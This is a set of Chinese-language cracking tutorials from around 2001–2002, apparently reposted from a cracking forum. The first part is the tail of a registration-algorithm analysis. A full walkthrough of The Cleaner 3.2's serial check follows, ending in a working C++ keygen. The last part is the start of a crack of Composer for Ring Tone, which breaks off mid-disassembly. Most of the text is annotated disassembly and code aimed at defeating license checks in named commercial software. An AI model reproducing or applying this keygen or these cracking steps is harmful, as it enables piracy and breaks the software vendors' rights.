:0048ED3B E982000000 jmp 0048EDC2
:0048ED40 E8BB49F7FF call 00403700

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048ED2F(U)
|
:0048ED45 8B45D4 mov eax, dword ptr [ebp-2C]
:0048ED48 B94F000000 mov ecx, 0000004F
:0048ED4D 99 cdq
:0048ED4E F7F9 idiv ecx
:0048ED50 8955D4 mov dword ptr [ebp-2C], edx <--将余数送[ebp-2c]
:0048ED53 837DD400 cmp dword ptr [ebp-2C], 00000000 <--比对余数是否为0
:0048ED57 7506 jne 0048ED5F
:0048ED59 8B45D8 mov eax, dword ptr [ebp-28]
:0048ED5C 8945D4 mov dword ptr [ebp-2C], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048ED57(C)
|
:0048ED5F 8D45E8 lea eax, dword ptr [ebp-18]
:0048ED62 50 push eax
:0048ED63 B901000000 mov ecx, 00000001
:0048ED68 8B55D4 mov edx, dword ptr [ebp-2C]
:0048ED6B 8B45DC mov eax, dword ptr [ebp-24] <--eax为存放字符串s的首地址
:0048ED6E E8D552F7FF call 00404048 <--取[eax+edx]中的一个字符
:0048ED73 8B45E4 mov eax, dword ptr [ebp-1C] <--eax为正确的注册码当前的长度
:0048ED76 E8C550F7FF call 00403E40
:0048ED7B 8BC8 mov ecx, eax
:0048ED7D 85C9 test ecx, ecx
:0048ED7F 750D jne 0048ED8E
:0048ED81 8D45E4 lea eax, dword ptr [ebp-1C]
:0048ED84 8B55E8 mov edx, dword ptr [ebp-18]
:0048ED87 E8CC4EF7FF call 00403C58
:0048ED8C EB34 jmp 0048EDC2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048ED7F(C)
|
:0048ED8E 8D4101 lea eax, dword ptr [ecx+01]
:0048ED91 B905000000 mov ecx, 00000005
:0048ED96 99 cdq
:0048ED97 F7F9 idiv ecx
:0048ED99 85D2 test edx, edx <--比对注册码当前长度是否能整除5
:0048ED9B 751A jne 0048EDB7 <--不是的话就跳转
:0048ED9D FF75E4 push [ebp-1C]
:0048EDA0 68A0F44800 push 0048F4A0
:0048EDA5 FF75E8 push [ebp-18]
:0048EDA8 8D45E4 lea eax, dword ptr [ebp-1C]
:0048EDAB BA03000000 mov edx, 00000003
:0048EDB0 E84B51F7FF call 00403F00
:0048EDB5 EB0B jmp 0048EDC2 <--往注册码中插入字符"-"

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048ED9B(C)
|
:0048EDB7 8D45E4 lea eax, dword ptr [ebp-1C]
:0048EDBA 8B55E8 mov edx, dword ptr [ebp-18]
:0048EDBD E88650F7FF call 00403E48

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0048ED3B(U), :0048ED8C(U), :0048EDB5(U)
|
:0048EDC2 FF4DD8 dec [ebp-28] <--偏移量-1
:0048EDC5 837DD803 cmp dword ptr [ebp-28], 00000003
:0048EDC9 0F85B7FEFFFF jne 0048EC86

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048EC7D(C)
|
:0048EDCF 8D45E0 lea eax, dword ptr [ebp-20]
:0048EDD2 8B55E4 mov edx, dword ptr [ebp-1C] <--在这里下指令d edx就可看到正确的注册码了
:0048EDD5 E87E4EF7FF call 00403C58
:0048EDDA 8D45D0 lea eax, dword ptr [ebp-30]
:0048EDDD 50 push eax

至此，我们对该软件的注册算法进行了比较完整的分析，下面我来总结一下注册算法：
我的机器码为"240927-1009227395-61596"，软件先对该字符串作处理——去掉该字符串中的两个"-"，得到字符串"240927100922739561596"，
第一次依次从最后取4个字符"6"、"9"、"5"、"1"，然后把它们连起来，再转化为十六进制数，接着把该十六进制数对0x4F进行求模，把求得的结果
作为偏移量，取出字符串s中处于该偏移量位置的字符，从而得到正确的注册码的第一个字符；然后第二次从倒数第二个字符开始取4个字符"9"、"5"、
"1"、"9"，重复上面的步骤……直到取完最后4个字符。最后注册码中偏移量为5的倍数的位置插入字符"-"就可得到正确的注册码了.
现在剩下的事就是写注册机了。


Cleaner 3.2

 标 题:Cleaner 3.2注册分析 (18千字)
发信人:Fpc
时 间:2001-12-9 7:11:09
详细信息:
Cleaner 3.2注册分析
by Fpc/CCG&BCG @2001/12

tools: trw1.22

[info]
软件名称：The Cleaner
整理日期：2001.12.8
最新版本：3.2 Build 3213
文件大小：1833KB
软件授权：共享软件
使用平台：Win9x/Me/NT/2000
发布公司：Home Page
软件简介：
    一个专门检测和清除侵入您系统中的特洛伊木马的专业程序, 内置3093个木马标识。可在线升级版本和病毒数据库, 操作简单, 功能强大! 查杀的各类特洛伊木马种类最多，几乎所有较出名的这里都有，如 Netspy、BO、Netbus、 Girlfriend、Happy99、BackDoor 以及它们的一些不同版本。还有很多种我们大多数网友听都没听过，有了它我们可以将电脑“清洁”得干干净净，放心大胆地上网。将毒数据库cleaner.cdb复制到The Cleaner的安装目录下，就可以完成升级了。

[protection]
NAG, serial

[level]
1.5/5

[essay]
好久没有什么破解了，找到这个软件，估计会有点用，下载后安装、运行。一个NAG跳出来：“你还有30天试用时间”*_*呵呵，还可以输入注册码。好了，用户名：Fpc/CCG&BCG，注册码：123654，点注册，@$%#$%#@!@%&，不正确。它首先检查注册码长度应该是19，还与两个黑名单比较。这些我们不关心，看它如何计算：其实注册名用不到，是对输入的注册码作一些转换和验证，如果通过即注册。
由delphi或bcb编译，UPX加的壳，懒得脱了~~注册信息好象是写在文件时，每次运行时检查。另外不清楚它有没有网上检验。

输入注册码后跟踪，很容易到这里：
...
017F:004933B2 MOV EAX,[004B50B0]
017F:004933B7 MOV EAX,[EAX]
017F:004933B9 CALL 004B043C <- 检验注册码，重要
017F:004933BE TEST AL,AL <- al==0表示注册失败
017F:004933C0 JZ 004933D9 (JUMP)
017F:004933C2 MOV EAX,[EBX+01F4]
017F:004933C8 CALL 00492474
017F:004933CD MOV DWORD [EBX+0150],01
017F:004933D7 JMP SHORT 004933F9 <-
017F:004933D9 ADD BYTE [EBX+0200],01
017F:004933E0 JNC 004933E7
017F:004933E2 CALL 00402E5C
017F:004933E7 PUSH BYTE +30
017F:004933E9 CALL `USER32!MessageBeep` <- 呵呵，小喇叭响一声
017F:004933EE MOV EAX,[EBX+01F8]
017F:004933F4 CALL 00492B84
017F:004933F9 XOR EAX,EAX
017F:004933FB POP EDX
017F:004933FC POP ECX
017F:004933DA ADD DWORD [EAX],BYTE +02
017F:004933DD ADD [EAX],AL
017F:004933DF ADD [EBX+05],ESI
017F:004933E2 CALL 00402E5C
017F:004933E7 PUSH BYTE +30
017F:004933E9 CALL `USER32!MessageBeep`
017F:004933EE MOV EAX,[EBX+01F8]
017F:004933F4 CALL 00492B84
017F:004933F9 XOR EAX,EAX
017F:004933FB POP EDX
017F:004933FC POP ECX
...

显然得追进CALL 004B043：

017F:004B043C PUSH EBP
017F:004B043D MOV EBP,ESP
017F:004B043F ADD ESP,FFFFFDF0
017F:004B0445 PUSH EBX
017F:004B0446 PUSH ESI
017F:004B0447 PUSH EDI
017F:004B0448 XOR EDX,EDX
017F:004B044A MOV [EBP+FFFFFDF4],EDX
017F:004B0450 MOV [EBP+FFFFFDF0],EDX
017F:004B0456 MOV [EBP-04],EDX
017F:004B0459 MOV [EBP-08],EDX
017F:004B045C MOV EDI,EAX
017F:004B045E MOV ECX,08
017F:004B0463 LEA EAX,[EBP+FFFFFE08]
017F:004B0469 MOV EDX,[004010AC]
017F:004B046F CALL 004042A8
017F:004B0474 XOR EAX,EAX
017F:004B0476 PUSH EBP
017F:004B0477 PUSH DWORD 004B0801
017F:004B047C PUSH DWORD [FS:EAX]
017F:004B047F MOV [FS:EAX],ESP
017F:004B0482 XOR EAX,EAX
017F:004B0484 PUSH EBP
017F:004B0485 PUSH DWORD 004B07B4
017F:004B048A PUSH DWORD [FS:EAX]
017F:004B048D MOV [FS:EAX],ESP
017F:004B0490 MOV EDX,[EDI+534C]
017F:004B0496 LEA EAX,[EBP-04]
017F:004B0499 MOV ECX,004B081C
017F:004B049E CALL 00403D88
017F:004B04A3 LEA EAX,[EDI+0151B36C]
017F:004B04A9 MOV EDX,004B082C
017F:004B04AE CALL 00403B14
017F:004B04B3 LEA EAX,[EDI+0151B370]
017F:004B04B9 CALL 00403AC0
017F:004B04BE MOV EAX,[EBP-04]
017F:004B04C1 CALL 00407B4C <- 上面的许多call都不重要
017F:004B04C6 TEST AL,AL <- 这里不会跳走
017F:004B04C8 JZ NEAR 004B0788
017F:004B04CE MOV EDX,[EBP-04]
017F:004B04D1 LEA EAX,[EBP+FFFFFE28]
017F:004B04D7 CALL 00405222

经验：
borland编译结果就是这个特征，你经常可见到：

mov/lea eax, [SomeAddress]
mov/lea edx, [SomeAddress]
call SomeFuntion
mov...

eax, edx是重要的两个寄存器，根据它的 __fastcall 调用规则，函数参数首先是通过eax, edx, ecx(通常是记录字节个数)，如果还有其它的参数，就会用到push压入堆栈。关于borland逆向工程，你最好有一些delphi/BCB的编程经验，DEDE可以提供丰富的反编译信息~~不算是作广告。动态跟踪时，多用这些命令：d eax, d edx, d *eax, d *edx, 通常的call不要追进去，因为就算跟进那个call你也看不明白，而遇到参数较多的call，极有可能是作者自己写的，需要追进，注册码的计算可能就在里面哦~

017F:004B04DC LEA EAX,[EBP+FFFFFE28]
017F:004B04E2 CALL 00405527
017F:004B04E7 LEA EDX,[EDI+0151B36C]
017F:004B04ED LEA EAX,[EBP+FFFFFE28]
017F:004B04F3 CALL 004040F8
017F:004B04F8 LEA EAX,[EBP+FFFFFE28]
017F:004B04FE CALL 004054C4
017F:004B0503 LEA EDX,[EBP-08]
017F:004B0506 LEA EAX,[EBP+FFFFFE28]
017F:004B050C CALL 004040F8
017F:004B0511 LEA EAX,[EBP+FFFFFE28]
017F:004B0517 CALL 004054C4
017F:004B051C LEA EAX,[EBP+FFFFFE28]
017F:004B0522 CALL 00405328
017F:004B0527 LEA EAX,[EDI+0151B370] <- a buffer
017F:004B052D MOV EDX,[EBP-08] <- 输入的注册码，我用Irc来代替
017F:004B0530 CALL 00403B14 <- 复制字符串或复制一个字符串的指针

017F:004B0535 MOV EAX,[EBP-08] <- Irc
017F:004B0538 MOV EDX,004B084C <- 一个黑名单上的注册码
017F:004B053D CALL 00403E4C <- 比较
017F:004B0542 JZ 004B0553 <- 一致就去死

017F:004B0544 MOV EAX,[EBP-08]
017F:004B0547 MOV EDX,004B0868
017F:004B054C CALL 00403E4C <- 比较另一个黑名单
017F:004B0551 JNZ 004B057D <- 不在其上则继续

017F:004B0553 LEA EAX,[EDI+0151B36C]
017F:004B0559 MOV EDX,004B082C
017F:004B055E CALL 00403B14
017F:004B0563 LEA EAX,[EDI+0151B370]
017F:004B0569 CALL 00403AC0
017F:004B056E XOR EBX,EBX
017F:004B0570 XOR EAX,EAX
017F:004B0572 POP EDX
017F:004B0573 POP ECX
017F:004B0574 POP ECX
017F:004B0575 MOV [FS:EAX],EDX
017F:004B0578 JMP 004B07C0

017F:004B057D MOV EAX,[EBP-08] <- 好了，到这里
017F:004B0580 CALL 00403D3C <- eax=[eax-4]，取Irc长度
017F:004B0585 CMP EAX,BYTE +13
017F:004B0588 JZ 004B05B4 <- 为19则继续

017F:004B058A LEA EAX,[EDI+0151B36C] <- 否则继续
017F:004B0590 MOV EDX,004B082C
017F:004B0595 CALL 00403B14
017F:004B059A LEA EAX,[EDI+0151B370]
017F:004B05A0 CALL 00403AC0
017F:004B05A5 XOR EBX,EBX
017F:004B05A7 XOR EAX,EAX
017F:004B05A9 POP EDX
017F:004B05AA POP ECX
017F:004B05AB POP ECX
017F:004B05AC MOV [FS:EAX],EDX
017F:004B05AF JMP 004B07C0

017F:004B05B4 MOV EAX,[EBP-08] <- 继续
017F:004B05B7 CALL 00403D3C
017F:004B05BC MOV ESI,EAX <- Irc长度保存到esi
017F:004B05BE TEST ESI,ESI
017F:004B05C0 JNG 004B05E4 <- 不会跳

017F:004B05C2 MOV EBX,01 <- ebx作为循环变量
017F:004B05C7 MOV EAX,[EBP-08]
017F:004B05CA CMP BYTE [EAX+EBX-01],2D <- Irc[i]=='-'?
017F:004B05CF JNZ 004B05E0 <- 不等比较下一个

017F:004B05D1 LEA EAX,[EBP-08]
017F:004B05D4 MOV ECX,01
017F:004B05D9 MOV EDX,EBX
017F:004B05DB CALL 00403F80 <- 这个call删除当前位置的字符('-')，位置由edx决定，个数由ecx决定
017F:004B05E0 INC EBX
017F:004B05E1 DEC ESI
017F:004B05E2 JNZ 004B05C7 <- 未完继续，此循环删除Irc中的'-'，如果有的话

<- 下面这一段会按顺序取出Irc中的字符，每次取2字节，共8次
017F:004B05E4 LEA EAX,[EBP+FFFFFE08]
017F:004B05EA PUSH EAX <- eax是指向缓冲区的指针
017F:004B05EB MOV ECX,02 <- ecx=2
017F:004B05F0 MOV EDX,01 <- edx=1
017F:004B05F5 MOV EAX,[EBP-08] <- Irc
017F:004B05F8 CALL 00403F40 <- 取字符到缓冲区去，位置由edx决定，长度由ecx决定

017F:004B05FD LEA EAX,[EBP+FFFFFE0C]
017F:004B0603 PUSH EAX
017F:004B0604 MOV ECX,02
017F:004B0609 MOV EDX,03
017F:004B060E MOV EAX,[EBP-08]
017F:004B0611 CALL 00403F40 <-

017F:004B0616 LEA EAX,[EBP+FFFFFE10]
017F:004B061C PUSH EAX
017F:004B061D MOV ECX,02
017F:004B0622 MOV EDX,05
017F:004B0627 MOV EAX,[EBP-08]
017F:004B062A CALL 00403F40

017F:004B062F LEA EAX,[EBP+FFFFFE14]
017F:004B0635 PUSH EAX
017F:004B0636 MOV ECX,02
017F:004B063B MOV EDX,07
017F:004B0640 MOV EAX,[EBP-08]
017F:004B0643 CALL 00403F40

017F:004B0648 LEA EAX,[EBP+FFFFFE18]
017F:004B064E PUSH EAX
017F:004B064F MOV ECX,02
017F:004B0654 MOV EDX,09
017F:004B0659 MOV EAX,[EBP-08]
017F:004B065C CALL 00403F40

017F:004B0661 LEA EAX,[EBP+FFFFFE1C]
017F:004B0667 PUSH EAX
017F:004B0668 MOV ECX,02
017F:004B066D MOV EDX,0B
017F:004B0672 MOV EAX,[EBP-08]
017F:004B0675 CALL 00403F40

017F:004B067A LEA EAX,[EBP+FFFFFE20]
017F:004B0680 PUSH EAX
017F:004B0681 MOV ECX,02
017F:004B0686 MOV EDX,0D
017F:004B068B MOV EAX,[EBP-08]
017F:004B068E CALL 00403F40

017F:004B0693 LEA EAX,[EBP+FFFFFE24]
017F:004B0699 PUSH EAX
017F:004B069A MOV ECX,02
017F:004B069F MOV EDX,0F
017F:004B06A4 MOV EAX,[EBP-08]
017F:004B06A7 CALL 00403F40 <- 取字符到这里完成了

017F:004B06AC LEA EAX,[EBP-08]
017F:004B06AF CALL 00403AC0 <- 初始化

017F:004B06B4 PUSH EDI
017F:004B06B5 MOV ESI,004B087C <- 这里是 16 字节的0x0
017F:004B06BA LEA EDI,[EBP+FFFFFDF8]
017F:004B06C0 MOV ECX,04
017F:004B06C5 REP MOVSD <- 数组初始化
017F:004B06C7 POP EDI

017F:004B06C8 MOV EBX,08
017F:004B06CD LEA ESI,[EBP+FFFFFE08] <- esi初始化为指向Irc的前两个字节，见上面

017F:004B06D3 PUSH BYTE +0A
017F:004B06D5 LEA EAX,[EBP-0C]
017F:004B06D8 PUSH EAX <- 缓冲区
017F:004B06D9 MOV EAX,[ESI] <- eax指向Irc的两个字节
017F:004B06DB CALL 00403F00
017F:004B06E0 LEA ECX,[EBP+FFFFFDF8]
017F:004B06E6 MOV EDX,10
017F:004B06EB CALL 004B023C
017F:004B06F0 LEA EAX,[EBP+FFFFFDF0]
017F:004B06F6 LEA EDX,[EBP+FFFFFDF8]
017F:004B06FC MOV ECX,10
017F:004B0701 CALL 00403CEC
017F:004B0706 MOV EAX,[EBP+FFFFFDF0]
017F:004B070C CALL 00407904 <- 这几个call实现str->Hex, 结果在eax，即：假设这两字节是"FA"，则eax=0xFA

017F:004B0711 MOV EDX,EAX
017F:004B0713 LEA EAX,[EBP+FFFFFDF4] <- 缓冲区
017F:004B0719 CALL 00403C64 <- 保存edx

017F:004B071E MOV EDX,[EBP+FFFFFDF4]
017F:004B0724 LEA EAX,[EBP-08] <- 目标位置
017F:004B0727 CALL 00403D44 <- strcat
017F:004B072C ADD ESI,BYTE +04
017F:004B072F DEC EBX
017F:004B0730 JNZ 004B06D3

到这里，Irc变成了Hex值，并保存在[ebp-8]，称为IrcA。我输入的是：1236-5465-4123-1236，[ebp-8]=12 36 54 65 41 23 12 36

继续：

017F:004B0732 PUSH DWORD 8C33 <- 参数
017F:004B0737 LEA EAX,[EBP+FFFFFDF4]
017F:004B073D PUSH EAX <- 目标缓冲区，称为IrcB
017F:004B073E MOV ECX,3182 <- 参数
017F:004B0743 MOV EDX,03D5 <- 参数
017F:004B0748 MOV EAX,[EBP-08] <- IrcA
017F:004B074B CALL 00474658 <- (1)这里计算注册的关键，需要跟进去

017F:004B0750 MOV EDX,[EBP+FFFFFDF4] <- IrcB
017F:004B0756 LEA EAX,[EBP-08]
017F:004B0759 CALL 00403B58 <- 又是复制一个指针
017F:004B075E XOR EDX,EDX
017F:004B0760 MOV EAX,[EBP-08] <- eax指向一个转换后的8字节数据
017F:004B0763 CALL 0040797C <- (2)验证注册数据，追进

017F:004B0768 MOV [EBP-0C],EAX <- eax是错误值，否则相当于str->int
017F:004B076B CMP DWORD [EBP-0C],BYTE +00
017F:004B076F JZ 004B0780 <- jump to BAD CRAcker

017F:004B0771 MOV EAX,[EBP-0C]
017F:004B0774 MOV ECX,7A
017F:004B0779 CDQ
017F:004B077A IDIV ECX
017F:004B077C TEST EDX,EDX
017F:004B077E JZ 004B0784 <- 还需要能被122整除

017F:004B0780 XOR EBX,EBX <- BAD Guy
017F:004B0782 JMP SHORT 004B078A

017F:004B0784 MOV BL,01 <- Good Guy
017F:004B0786 JMP SHORT 004B078A
017F:004B0788 XOR EBX,EBX
017F:004B078A MOV EDX,EBX
... 不重要了

(1)先看 CALL 00474658:

017F:0047465E PUSH EBX
017F:0047465F PUSH ESI
017F:00474660 PUSH EDI

017F:00474661 XOR EBX,EBX <- 初始化
017F:00474663 MOV [EBP-0C],EBX <- [ebp-c]=0
017F:00474666 MOV [EBP-04],ECX <- [ebp-4]=0x3182
017F:00474669 MOV ESI,EDX <- esi=0x3D5
017F:0047466B MOV EDI,EAX <- [edi]=IrcA
017F:0047466D XOR EAX,EAX <- eax=0

017F:0047466F PUSH EBP
017F:00474670 PUSH DWORD 004746E6
017F:00474675 PUSH DWORD [FS:EAX]
017F:00474678 MOV [FS:EAX],ESP
017F:0047467B MOV EAX,[EBP+08]
017F:0047467E CALL 00403AC0

017F:00474683 MOV EAX,EDI
017F:00474685 CALL 00403D3C <- 取长度
017F:0047468A TEST AL,AL <- al=8
017F:0047468C JNA 004746D0 <- 不跳

017F:0047468E MOV [EBP-05],AL <- [ebp-5]=8
017F:00474691 MOV BL,01 <- bl=1，循环变量

017F:00474693 LEA EAX,[EBP-0C] <- 缓冲区
017F:00474696 XOR EDX,EDX
017F:00474698 MOV DL,BL
017F:0047469A MOV DL,[EDI+EDX-01] <- dl=IrcA[i]
017F:0047469E MOV ECX,ESI <- ecx=esi
017F:004746A0 SHR ECX,08 <- ecx>>=8
017F:004746A3 XOR DL,CL <- dl^=cl
017F:004746A5 CALL 00403C64 <- 保存edx到缓冲区

017F:004746AA MOV EDX,[EBP-0C]
017F:004746AD MOV EAX,[EBP+08]
017F:004746B0 CALL 00403D44 <- strcat

017F:004746B5 MOV EAX,[EBP+08] <- 无用的指令，可能是为对齐
017F:004746B8 XOR EAX,EAX
017F:004746BA MOV AL,BL
017F:004746BC MOVZX EAX,BYTE [EDI+EAX-01] <- eax=IrcA[i]
017F:004746C1 ADD ESI,EAX <- esi+=eax
017F:004746C3 IMUL ESI,[EBP-04] <- esi*=0x3182
017F:004746C7 ADD ESI,[EBP+0C] <- esi+=0x8C33
017F:004746CA INC EBX
017F:004746CB DEC BYTE [EBP-05]
017F:004746CE JNZ 00474693 <- 未完继续
...

不清楚这一段是否可逆，可以描述为：
int esi=0x3D5;
char IrcA[8]="....";
char IrcB[8];
for(short i=0; i<8; i++)
{
IrcB[i]=IrcA[i]^(esi>>8&0xFF);
esi+=IrcA[i];
esi*=0x3182;
esi+=0x8C33;
}

(2)继续看CALL 0040797C：
017F:0040797C PUSH EBX
017F:0040797D PUSH ECX
017F:0040797E MOV EBX,EDX
017F:00407980 MOV EDX,ESP
017F:00407982 CALL 00402C40 <- trace into
017F:00407987 CMP DWORD [ESP],BYTE +00
017F:0040798B JZ 0040798F
017F:0040798D MOV EAX,EBX
017F:0040798F POP EDX
017F:00407990 POP EBX
017F:00407991 RET

简单起见，这段代码检查IrcB每个字符是否是数字，不是则失败，并将其转为int到eax，结果要小于0x0CCCCCCC：

017F:00402C40 PUSH EBX
017F:00402C41 PUSH ESI
017F:00402C42 PUSH EDI
017F:00402C43 MOV ESI,EAX
017F:00402C45 PUSH EAX
017F:00402C46 TEST EAX,EAX
017F:00402C48 JZ 00402C9B
017F:00402C4A XOR EAX,EAX
017F:00402C4C XOR EBX,EBX
017F:00402C4E MOV EDI,0CCCCCCC
017F:00402C53 MOV BL,[ESI]
017F:00402C55 INC ESI
017F:00402C56 CMP BL,20
017F:00402C59 JZ 00402C53
017F:00402C5B MOV CH,00
017F:00402C5D CMP BL,2D
017F:00402C60 JZ 00402CA7
017F:00402C62 CMP BL,2B
017F:00402C65 JZ 00402CA9
017F:00402C67 CMP BL,24
017F:00402C6A JZ 00402CAE
017F:00402C6C TEST BL,BL
017F:00402C6E JZ 00402CA2 <- 这里不能去

017F:00402C70 SUB BL,30
017F:00402C73 CMP BL,09 <- 是否为数字
017F:00402C76 JA 00402CA2
017F:00402C78 CMP EAX,EDI <- eax不能比edi大
017F:00402C7A JA 00402CA2

017F:00402C7C LEA EAX,[EAX+EAX*4]
017F:00402C7F ADD EAX,EAX
017F:00402C81 ADD EAX,EBX <- eax=eax*10+bl
017F:00402C83 MOV BL,[ESI]
017F:00402C85 INC ESI
017F:00402C86 TEST BL,BL
017F:00402C88 JNZ 00402C70
017F:00402C8A DEC CH
017F:00402C8C JZ 00402C9E
017F:00402C8E TEST EAX,EAX
017F:00402C90 JL 00402CA2
017F:00402C92 POP ECX
017F:00402C93 XOR ESI,ESI
017F:00402C95 MOV [EDX],ESI
017F:00402C97 POP EDI
017F:00402C98 POP ESI
017F:00402C99 POP EBX
017F:00402C9A RET
017F:00402C9B INC ESI
017F:00402C9C JMP SHORT 00402CA2
017F:00402C9E NEG EAX
017F:00402CA0 JNG 00402C92
017F:00402CA2 POP EBX
017F:00402CA3 SUB ESI,EBX
017F:00402CA5 JMP SHORT 00402C95
017F:00402CA7 INC CH
017F:00402CA9 MOV BL,[ESI]
017F:00402CAB INC ESI
017F:00402CAC JMP SHORT 00402C6C
017F:00402CAE MOV EDI,0FFFFFFF
017F:00402CB3 MOV BL,[ESI]
017F:00402CB5 INC ESI
017F:00402CB6 TEST BL,BL
017F:00402CB8 JZ 00402C9B
017F:00402CBA CMP BL,61
017F:00402CBD JC 00402CC2
017F:00402CBF SUB BL,20
017F:00402CC2 SUB BL,30
017F:00402CC5 CMP BL,09
017F:00402CC8 JNA 00402CD5
017F:00402CCA SUB BL,11
017F:00402CCD CMP BL,05
017F:00402CD0 JA 00402CA2
017F:00402CD2 ADD BL,0A
017F:00402CD5 CMP EAX,EDI
017F:00402CD7 JA 00402CA2
017F:00402CD9 SHL EAX,04
017F:00402CDC ADD EAX,EBX
017F:00402CDE MOV BL,[ESI]
017F:00402CE0 INC ESI
017F:00402CE1 TEST BL,BL
017F:00402CE3 JNZ 00402CBA
017F:00402CE5 JMP SHORT 00402C92

很明显，我们需要找一个数，能被122整除，比0x0CCCCCCC小，这个数作为IrcB，反推出IrcA，从而得到注册码。
随机找到一个数：95830268=0x5B640FC，则IrcB[8]="95830268"，将上面的程序稍动一下：

int esi=0x3D5;
char IrcA[8];
char IrcB[8]="95830268";
for(short i=0; i<8; i++)
{
IrcA[i]=IrcB[i]^(esi>>8&0xFF);
esi+=IrcA[i];
esi*=0x3182;
esi+=0x8C33;
}
运行后得到注册码，注册通过。

附：
//注册机，BCB 5.0编译通过
//---------------------------------------------------------------------------

#include <vcl.h>
//--- head added
#include <iostream.h>
#include <conio.h>
#include <stdlib.h>
//--- added stoped
#pragma hdrstop

//---------------------------------------------------------------------------

#pragma argsused
int main(int argc, char* argv[])
{
int Acc=0x3D5;
unsigned int Nul=0; //多余的变量防止出现符号扩展
char buff[100];
unsigned char IrcA[9]; //需要定义为unsigned
char IrcB[9]="95830268";
cout<<"The Cleaner 3.2 Build 3213 KeyMaker"<<endl;
cout<<"cracked by Fpc/CCG&BCG"<<endl<<endl;;
cout<<"InPut Your Name: ";
cin>>buff;
cout<<"Your Code is : ";
randomize();
Nul=122*rand()%819600;
sprintf(IrcB, "%08d", Nul);
for(short i=0; i<8; i++)
{
Nul=0;
IrcA[i]=IrcB[i]^((Acc>>8)&0xFF);
Nul=IrcA[i];
Acc+=Nul;
Acc*=0x3182;
Acc+=0x8C33;
sprintf(buff, "%02X", IrcA[i]);
cout<<buff;
if(i%2 && i!=7)
cout<<'-';
}
cout<<endl<<endl<<"any key to quit...";
getch();
return 0;
}


Composer for Ring Tone

 标 题:新手的破解: Composer for Ring Tone 手机铃声编辑软件 (24千字)
发信人:fengy
时 间:2002-2-4 11:11:21
详细信息:
软件名称: Composer for Ring Tone
软件下载: www.newhua.com
软件用途: 这个东东是大众软件03期中介绍的一个手机铃声编辑器,据说挺好用的,可惜对我没有!

工具: TRW2000 1.22 , W32dasm ,FileInfo v2.43
日期: 2002.2.1
作者: Fengy

过程:

1) 用W32dasm反编译Ringtone.exe,结果如下:
2) bpx getwindowtexta
3) name:fengy
key :fengy-1980-1980314

* Referenced by a CALL at Addresses:
|:00415045 , :0041F277 , :0044A7F0 , :0044AA17 , :0044B730
|
:0043C91E 8B4138 mov eax, dword ptr [ecx+38]
:0043C921 85C0 test eax, eax
:0043C923 7513 jne 0043C938
:0043C925 FF742408 push [esp+08]
:0043C929 FF742408 push [esp+08]
:0043C92D FF711C push [ecx+1C]

* Reference To: USER32.GetWindowTextA, Ord:015Eh
|
:0043C930 FF1554A54600 Call dword ptr [0046A554] << get text for reg
:0043C936 EB12 jmp 0043C94A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043C923(C)
|
:0043C938 FF742408 push [esp+08]
:0043C93C 8B10 mov edx, dword ptr [eax]
:0043C93E 8BC8 mov ecx, eax
:0043C940 FF742408 push [esp+08]
:0043C944 FF9284000000 call dword ptr [edx+00000084]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043C936(U)
|
:0043C94A C20800 ret 0008 << 41504A ret
****************************************************************

:00414FEF 90 nop
:00414FF0 6AFF push FFFFFFFF
:00414FF2 68386F4600 push 00466F38
:00414FF7 64A100000000 mov eax, dword ptr fs:[00000000]
:00414FFD 50 push eax
:00414FFE 64892500000000 mov dword ptr fs:[00000000], esp
:00415005 83EC20 sub esp, 00000020
:00415008 A1DC4E4800 mov eax, dword ptr [00484EDC]
:0041500D 53 push ebx
:0041500E 56 push esi
:0041500F 8BF1 mov esi, ecx
:00415011 89442408 mov dword ptr [esp+08], eax
:00415015 33DB xor ebx, ebx
:00415017 8D4C240C lea ecx, dword ptr [esp+0C]
:0041501B 895C2430 mov dword ptr [esp+30], ebx
:0041501F E8BCD9FEFF call 004029E0
:00415024 8B86D4000000 mov eax, dword ptr [esi+000000D4]
:0041502A C644243001 mov [esp+30], 01
:0041502F 83F803 cmp eax, 00000003
:00415032 0F8F90000000 jg 004150C8
:00415038 8D4C2418 lea ecx, dword ptr [esp+18]
:0041503C 6A0F push 0000000F
:0041503E 51 push ecx
:0041503F 8D8E98000000 lea ecx, dword ptr [esi+00000098]
:00415045 E8D4780200 call 0043C91E
:0041504A 8D542408 lea edx, dword ptr [esp+08] << after getwindowtexta
:0041504E 8D4E5C lea ecx, dword ptr [esi+5C]
:00415051 52 push edx
:00415052 E8E2520200 call 0043A339
:00415057 51 push ecx << bad regcode
:00415058 8D44240C lea eax, dword ptr [esp+0C] << [ecx]--> "fengy"
:0041505C 8BCC mov ecx, esp << eax ---> code length
:0041505E 89642414 mov dword ptr [esp+14], esp
:00415062 50 push eax
:00415063 E82A800200 call 0043D092
:00415068 8D4C241C lea ecx, dword ptr [esp+1C]
:0041506C 51 push ecx
:0041506D 8D4C2414 lea ecx, dword ptr [esp+14] << name : "fengy"
:00415071 E8AAD9FEFF call 00402A20 << 重要的call,注册码的生成和校验
:00415076 3BC3 cmp eax, ebx << 分界点(成功/失败)
:00415078 7448 je 004150C2
:0041507A 51 push ecx
:0041507B 8D54240C lea edx, dword ptr [esp+0C]
:0041507F 8BCC mov ecx, esp
:00415081 89642414 mov dword ptr [esp+14], esp
:00415085 52 push edx
:00415086 E807800200 call 0043D092
:0041508B 51 push ecx
:0041508C 8D442420 lea eax, dword ptr [esp+20]
:00415090 8BCC mov ecx, esp
:00415092 8964241C mov dword ptr [esp+1C], esp
:00415096 50 push eax
:00415097 C644243C02 mov [esp+3C], 02
:0041509C E8EA820200 call 0043D38B
:004150A1 8BCE mov ecx, esi
:004150A3 C644243801 mov [esp+38], 01
:004150A8 E863000000 call 00415110
:004150AD 53 push ebx
:004150AE 53 push ebx

* Possible Reference to Dialog:
|
:004150AF 6860454800 push 00484560 << "thank..."
:004150B4 E8E20F0300 call 0044609B
:004150B9 8BCE mov ecx, esi
:004150BB E845960200 call 0043E705
:004150C0 EB12 jmp 004150D4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00415078(C)
|
:004150C2 FF86D4000000 inc dword ptr [esi+000000D4]

